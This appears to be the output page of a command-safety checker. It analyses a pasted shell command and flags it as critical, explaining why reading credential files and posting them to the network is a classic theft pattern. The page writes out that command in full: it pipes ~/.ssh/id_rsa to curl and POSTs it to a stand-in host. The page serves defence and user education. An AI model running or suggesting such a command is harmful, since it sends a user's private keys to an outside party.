What is this about to do?

Command

cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://hooks.example/exfil

Rendered on the server from the query string — works without client JavaScript.

Findings

• DANGEROUS

  Touches credentials or secret files

  secrets

  This path looks like SSH keys, cloud credentials, tokens, or env files. If anything in the same command talks to the network, treat it as theft until proven otherwise.

  ~/.ssh

• DANGEROUS

  Sends local data to the network

  exfil

  This looks like an upload, a posted body, netcat, or a webhook. Combined with files or secrets, it is a classic exfil pattern.

  curl -X POST --data-binary

• CAUTION

  Talks to the network

  supply chain

  This command reaches out over HTTP(S). That is normal for installs — and also the first step of every pipe-to-shell scam. Check the host.

  https://hooks.example/exfil

• CRITICAL

  Secrets combined with outbound execution

  exfil

  The same paste both touches credentials and sends or executes something on the network. That pairing is how keys leave a laptop.

What this touches

• secret/~/.ssh
• filesystem/~/.ssh
• network/hooks.example
• network/outbound upload
• network/hooks.example

Safer alternatives

1. Keep secrets off the command line

   Do not cat keys into a pipe. Use the tool’s own auth flags, a local secret manager, or paste a redacted sample into chat — never the real key.

2. Do not pipe files to a stranger’s URL

   If you are debugging, share a redacted snippet — not ~/.ssh or .env. Confirm the host is one you typed, not one a model invented.

3. Confirm the host before you run it

   Read the domain out loud. If an AI invented it, search for the official docs yourself.

4. Read it as if a stranger sent it

   AI chat will cheerily suggest pipe-to-shell installs. If you would not run this from an unknown Slack DM, do not run it from a model either.